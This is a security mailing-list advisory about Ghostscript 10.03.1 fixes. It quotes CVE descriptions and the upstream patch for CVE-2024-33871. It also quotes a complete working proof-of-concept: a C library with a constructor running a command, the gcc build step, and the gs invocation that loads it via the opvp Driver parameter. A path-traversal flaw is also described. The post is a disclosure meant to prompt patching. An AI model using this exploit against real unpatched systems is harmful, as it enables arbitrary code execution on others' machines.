[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20240628033444.GA521@openwall.com>
Date: Fri, 28 Jun 2024 05:34:45 +0200
From: Solar Designer <solar@...nwall.com>
To: oss-security@...ts.openwall.com
Subject: Ghostscript 10.03.1 (2024-05-02) fixed 5 CVEs including CVE-2024-33871 arbitrary code execution
Hi,
Ghostscript 10.03.1 (2024-05-02) release notes:
https://ghostscript.readthedocs.io/en/gs10.03.1/News.html
mentions this:
> - Fixes for CVE-2024-33869, CVE-2023-52722, CVE-2024-33870,
> CVE-2024-33871 and CVE-2024-29510
> - A vulnerability was identified in the way Ghostscript/GhostPDL called
> tesseract for the OCR devices, which could allow arbitrary code
> execution. As as result, we strongly urge anyone including the OCR
> devices in their build to update as soon as possible.
Out of these, CVE-2024-33871 is probably the worst (CVSS 8.8 and
Important per Red Hat):
https://access.redhat.com/security/cve/CVE-2024-33871
> A flaw was found in Ghostscript. The "Driver" parameter for the
> "opvp"/"oprp" device specifies the name of a dynamic library and allows
> any library to be loaded. This flaw allows a malicious user to send a
> specially crafted document that, when processed by Ghostscript, could
> potentially lead to arbitrary code execution with the privileges of the
> Ghostscript process on the system.
(recently patched in RHEL 8 and 9, and thus in the RHEL rebuild distros)
There's a patch and a reproducer for it in upstream Bugzilla:
https://bugs.ghostscript.com/show_bug.cgi?id=707754
> zhutyra 2024-04-21 15:27:29 UTC
>
> Created attachment 25611 [details]
> patch
+++ a/contrib/opvp/gdevopvp.c
@@ -3456,6 +3456,12 @@ _put_params(gx_device *dev, gs_param_list *plist)
code = param_read_string(plist, pname, &vdps);
switch (code) {
case 0:
+ if (gs_is_path_control_active(dev->memory)
+ && (!opdev->globals.vectorDriver || strlen(opdev->globals.vectorDriver) != vdps.size
+ || memcmp(opdev->globals.vectorDriver, vdps.data, vdps.size) != 0)) {
+ param_signal_error(plist, pname, gs_error_invalidaccess);
+ return_error(gs_error_invalidaccess);
+ }
buff = realloc(buff, vdps.size + 1);
memcpy(buff, vdps.data, vdps.size);
buff[vdps.size] = 0;
> The "Driver" parameter for the "opvp"/"oprp" device specifies the name of a dynamic library and allows any library to be loaded.
>
> The patch does not allow changing this parameter after activating path control.
>
> Comment 1 zhutyra 2024-04-21 15:29:14 UTC
>
> Created attachment 25612 [details]
> exploit
>
> Exploit for x86_64 Linux.
> ```
> $ gs -q -dNODISPLAY opvplib.ps
> uid=1000(user) gid=1000(user) groups=1000(user)
> ```
>
> The file contains a precompiled library. If it doesn't work for you or you don't want to run unknown code, you can also do it manually.
> ```
> $ cat >lib.c <<"EOF"
> #include <stdlib.h>
> static void __attribute__ ((constructor)) init(void) {
> exit(system("id"));
> }
> EOF
> $ gcc -fPIC -shared -o /tmp/lib.so lib.c
> $ gs -q -dNODISPLAY -c '<< /OutputDevice /opvp /Driver (/tmp/lib.so) >> setpagedevice'
> uid=1000(user) gid=1000(user) groups=1000(user)
The second attachment (exploit) gives me "Sorry, you are not authorized
to access attachment #25612." but apparently it's just a precompiled
version of what's included in the comment body, above, so not required
to exploit the issue. A colleague has tested the above exploit on
latest CentOS 7 and it just worked (now patched in CIQ's CentOS Bridge).
CVE-2024-33870 is also pretty bad:
https://access.redhat.com/security/cve/CVE-2024-33870
> A flaw was found in Ghostscript. When the gp_validate_path_len function
> validates a path, it distinguishes between absolute and relative paths.
> In the case of relative paths, it will check the path with and without
> the current-directory-prefix ("foo" and "./foo"). This does not take
> into account paths with a parent-directory-prefix. Therefore, a path
> like "../../foo" is also tested as "./../../foo" and if the current
> directory "./" is in the permitted paths, it will pass the check, which
> may allow arbitrary file access.
The remaining 3 CVEs are also serious, although they have lower scores.
The CVE records for all four 2024 CVEs above still merely say "reserved
by a CNA", without descriptions. The 2023 CVE has proper info in it.
Alexander
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
